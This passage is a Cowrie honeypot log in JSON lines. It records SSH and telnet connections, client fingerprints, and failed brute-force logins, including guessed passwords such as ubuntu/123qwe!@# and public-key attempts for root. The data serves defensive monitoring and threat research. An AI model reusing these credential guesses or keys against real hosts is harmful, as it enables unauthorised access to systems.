{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35924,"dst_ip":"159.203.135.109","dst_port":23,"session":"75ca2a346307","protocol":"telnet","message":"New connection: 128.199.8.54:35924 (159.203.135.109:23) [session: 75ca2a346307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:24.019964Z"}
{"eventid":"cowrie.session.closed","duration":33.52924466133118,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:32.565361Z","src_ip":"128.199.8.54","session":"12bdbaca6646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":50294,"dst_ip":"159.203.135.109","dst_port":22,"session":"be121a831d12","protocol":"ssh","message":"New connection: 118.194.229.94:50294 (159.203.135.109:22) [session: be121a831d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:39.529865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:39.535070Z","src_ip":"118.194.229.94","session":"be121a831d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:39.696014Z","src_ip":"118.194.229.94","session":"be121a831d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@#","message":"login attempt [ubuntu/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:40.367411Z","src_ip":"118.194.229.94","session":"be121a831d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:41.530124Z","src_ip":"118.194.229.94","session":"be121a831d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6297562122345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:54.578360Z","src_ip":"128.199.8.54","session":"c8cf5d583bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fa29fd17746","protocol":"ssh","message":"New connection: 43.160.242.74:42618 (159.203.135.109:22) [session: 2fa29fd17746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:56.457396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:56.490040Z","src_ip":"43.160.242.74","session":"2fa29fd17746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:56.724503Z","src_ip":"43.160.242.74","session":"2fa29fd17746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass","message":"login attempt [ubuntu/Pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:57.687200Z","src_ip":"43.160.242.74","session":"2fa29fd17746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:58.928825Z","src_ip":"43.160.242.74","session":"2fa29fd17746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.333913803100586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:59.353749Z","src_ip":"128.199.8.54","session":"75ca2a346307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58285,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1cec1501ccb","protocol":"telnet","message":"New connection: 212.55.149.117:58285 (10.17.0.5:23) [session: d1cec1501ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:08.839029Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":11054,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce7294fc392","protocol":"ssh","message":"New connection: 87.121.69.138:11054 (10.17.0.5:22) [session: 2ce7294fc392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.283850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.288915Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.373194Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBdCpgD5PVli7s2f1esa+w7Yu9KEfmN9c9Zq9EK7QA9ZJbIQG0A334wAPaZH89xoHlIPUZfXUGkLXxJkeiEUv2Cwg3nHaIToksI0DBeHMERb3k6ILvn8ny+PgiegeACppQju6h4OvIGBBgqXyeUaTYYuehTYvTlslNX+uuTQKLpyFhXYy9Mmtcts3phnpoy4JYFO5IzTSqa8FrFJ5ikolJ53h7b4p2t+fXibJ0zC5rISfA9r9v5ylt/4AdTqNrXUZskteKxwilQX9vwFEu0H+gqoK4RJaj3K19c/Q33jpVwoxpICX+lK6AERfkU1d7NFiWJ5crvhdAKrxS10JBmmvD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.764178Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ec:7a:3c:d1:15:4f:7b:35:e1:d9:3e:8c:bd:e3:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBdCpgD5PVli7s2f1esa+w7Yu9KEfmN9c9Zq9EK7QA9ZJbIQG0A334wAPaZH89xoHlIPUZfXUGkLXxJkeiEUv2Cwg3nHaIToksI0DBeHMERb3k6ILvn8ny+PgiegeACppQju6h4OvIGBBgqXyeUaTYYuehTYvTlslNX+uuTQKLpyFhXYy9Mmtcts3phnpoy4JYFO5IzTSqa8FrFJ5ikolJ53h7b4p2t+fXibJ0zC5rISfA9r9v5ylt/4AdTqNrXUZskteKxwilQX9vwFEu0H+gqoK4RJaj3K19c/Q33jpVwoxpICX+lK6AERfkU1d7NFiWJ5crvhdAKrxS10JBmmvD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.768018Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kDuhs3d9g0bPzpzuBJ9E+8X6MstrTL3Iz+/DwH7tgbIm1/Ii+bwsvvpiwJ3V+ePhtRQumU7mmfJu/PJyFoSihb74vWZP2y5WZClpYq5lq3IXsr5zNd/JkSk0OakyCplc1M5zN5G8gLq2Pna8HwMRCYDgSgQrP3vFiPp5g/C2nFM11hYBiA9HvobnOnOy+WKF41Ecglb1fgIGtY/PyRVXiKbxISczjUrZefGE2hl2OCGgz3RiSFghMyX7YX6DbT64LriTTqOton3gMNpKpdbKQRIm+SXdeLPxHqAQlb6j6QicbaY/OWa7//hBeRyKZeFYBTqsyty+d/jPJgVXr9+zk4TiYsQGyU3nJdiTJ5uZtZk2kcqxWQhC/YUfIJLIfNUy50kKHoqqEfv1SO7lOzeEFlqsMtVCPTThidHrJO/lpy9Fk3Uy9cfw9T8TZpOqjFKB91KlzQeK1t2Q06shW29icKRYOPRgKouEPst4ttEEOjxCVzADx4Y1A+YJgKm1O2c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.851918Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:32:bc:a9:6f:e4:13:40:db:51:97:d4:4a:00:d2:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0kDuhs3d9g0bPzpzuBJ9E+8X6MstrTL3Iz+/DwH7tgbIm1/Ii+bwsvvpiwJ3V+ePhtRQumU7mmfJu/PJyFoSihb74vWZP2y5WZClpYq5lq3IXsr5zNd/JkSk0OakyCplc1M5zN5G8gLq2Pna8HwMRCYDgSgQrP3vFiPp5g/C2nFM11hYBiA9HvobnOnOy+WKF41Ecglb1fgIGtY/PyRVXiKbxISczjUrZefGE2hl2OCGgz3RiSFghMyX7YX6DbT64LriTTqOton3gMNpKpdbKQRIm+SXdeLPxHqAQlb6j6QicbaY/OWa7//hBeRyKZeFYBTqsyty+d/jPJgVXr9+zk4TiYsQGyU3nJdiTJ5uZtZk2kcqxWQhC/YUfIJLIfNUy50kKHoqqEfv1SO7lOzeEFlqsMtVCPTThidHrJO/lpy9Fk3Uy9cfw9T8TZpOqjFKB91KlzQeK1t2Q06shW29icKRYOPRgKouEPst4ttEEOjxCVzADx4Y1A+YJgKm1O2c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.856092Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyKvU2/fTqFgKcnSu6GTaF+BEjuL6bclcuzSNEZWnDTma2aEoCR8BdrioDNYm5zoK8jVB9npH2RtGqkkdGeI6Cla44MFZtzU5JsFoPyCPEKzNZguchPZO9HUuFTC5yic4mqbORJO/npTIFPnfayzPcuDG21yNxghqA3lNfe0xwQ/LLXWKL0mvu/4V3SVkBRyZvtAOLwv2cdsvKrs4ilzPIXugys8NCPnQYxJc6lyxuAbJeFA7x64CL+Y3cuoijz0/lIaN2I4EelKguP4dSwQABaaQocgx5aTMf8ecacf4C0ioY+Sm++TYcLzM7cG9G4BTirJHYF/v6zXwamum7M1or","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.939656Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:93:52:85:a6:f1:ed:8b:46:aa:89:70:a1:55:7a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyKvU2/fTqFgKcnSu6GTaF+BEjuL6bclcuzSNEZWnDTma2aEoCR8BdrioDNYm5zoK8jVB9npH2RtGqkkdGeI6Cla44MFZtzU5JsFoPyCPEKzNZguchPZO9HUuFTC5yic4mqbORJO/npTIFPnfayzPcuDG21yNxghqA3lNfe0xwQ/LLXWKL0mvu/4V3SVkBRyZvtAOLwv2cdsvKrs4ilzPIXugys8NCPnQYxJc6lyxuAbJeFA7x64CL+Y3cuoijz0/lIaN2I4EelKguP4dSwQABaaQocgx5aTMf8ecacf4C0ioY+Sm++TYcLzM7cG9G4BTirJHYF/v6zXwamum7M1or","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:23.945598Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCdigeEngAtraY7UOa6H13ZGsVXFvA8dsdlGc0ox/NBujMxxX4fUU+GIWXujwrlUOHfW94uMU1olp/IT/X2udgvUiHlfNbInekCOjQhe9tZYgYmsR3DrumEjT9e+iJMdFgwyQ1HFmSQ/JyEPJ2vwwtkLDx4MKCSpOyn0ZESq7Jwynrejbu19eV7B2Uoy5zX8sGCidUvgMp+jI3fHDEelxORQF7oIHKDQoykq3pnvpPuQnPd6zFNll4EBIN2Veois9sa4p/dU04YueK6Q7tKtvX2oSmHZm2zTtqczsk9wQhVwjJbHVnyFXu0z+KAnu2LGCW9SsiQTsrIE5kL6MsWnNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:24.028615Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:87:5a:a0:34:4a:5c:94:93:11:8a:32:e7:fa:13:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsCdigeEngAtraY7UOa6H13ZGsVXFvA8dsdlGc0ox/NBujMxxX4fUU+GIWXujwrlUOHfW94uMU1olp/IT/X2udgvUiHlfNbInekCOjQhe9tZYgYmsR3DrumEjT9e+iJMdFgwyQ1HFmSQ/JyEPJ2vwwtkLDx4MKCSpOyn0ZESq7Jwynrejbu19eV7B2Uoy5zX8sGCidUvgMp+jI3fHDEelxORQF7oIHKDQoykq3pnvpPuQnPd6zFNll4EBIN2Veois9sa4p/dU04YueK6Q7tKtvX2oSmHZm2zTtqczsk9wQhVwjJbHVnyFXu0z+KAnu2LGCW9SsiQTsrIE5kL6MsWnNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:24.032404Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/e8lGko5dYe7+Xnvf0GZEUO8XuitL6aRcUhTHTQJ+YIAJ9bTG9qV6Aq15bPBfQGdZRACbBwRjuFr3JTaCME+Le7b0Yk+7+vIiRmEocZZYOGDqutoT/JCMxhv0neu8VmpiAZDhVYh0vmU9LGMitavjc8AeYDrRwY2gR3B7LLhdW1SfNk3I8K6mRA8TDDAyptu6y5uDKbab/pVLJUqVKS3tfs6wP11dqrrwx2Uc9EnRRRw1+LZmfdJGEcCSISWVV/P3Mkeej9b/BTKgGSp7uEtZGu9TfmzNliqvtCYsE/97eXLy70T21KqR1lwoxSGTWDhyXPMcbBk8Br2UmQHlKs2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:24.115213Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:44:41:5a:86:1c:52:8d:fb:e4:f3:33:fe:21:03:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/e8lGko5dYe7+Xnvf0GZEUO8XuitL6aRcUhTHTQJ+YIAJ9bTG9qV6Aq15bPBfQGdZRACbBwRjuFr3JTaCME+Le7b0Yk+7+vIiRmEocZZYOGDqutoT/JCMxhv0neu8VmpiAZDhVYh0vmU9LGMitavjc8AeYDrRwY2gR3B7LLhdW1SfNk3I8K6mRA8TDDAyptu6y5uDKbab/pVLJUqVKS3tfs6wP11dqrrwx2Uc9EnRRRw1+LZmfdJGEcCSISWVV/P3Mkeej9b/BTKgGSp7uEtZGu9TfmzNliqvtCYsE/97eXLy70T21KqR1lwoxSGTWDhyXPMcbBk8Br2UmQHlKs2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:24.118613Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:24.201473Z","src_ip":"87.121.69.138","session":"2ce7294fc392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":56234,"dst_ip":"159.203.135.109","dst_port":22,"session":"1deb3c6e6c47","protocol":"ssh","message":"New connection: 156.251.179.157:56234 (159.203.135.109:22) [session: 1deb3c6e6c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:33.566326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:33.571456Z","src_ip":"156.251.179.157","session":"1deb3c6e6c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32984,"dst_ip":"159.203.135.109","dst_port":23,"session":"d436f5d8c02b","protocol":"telnet","message":"New connection: 128.199.8.54:32984 (159.203.135.109:23) [session: d436f5d8c02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:34.661786Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:34.788907Z","src_ip":"156.251.179.157","session":"1deb3c6e6c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37270,"dst_ip":"159.203.135.109","dst_port":23,"session":"98a554919c9f","protocol":"telnet","message":"New connection: 128.199.8.54:37270 (159.203.135.109:23) [session: 98a554919c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:36.905917Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.149.114","src_port":36626,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f1611ebe18","protocol":"ssh","message":"New connection: 142.171.149.114:36626 (10.17.0.5:22) [session: 98f1611ebe18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.204773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:05:40.209417Z","src_ip":"142.171.149.114","session":"98f1611ebe18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sh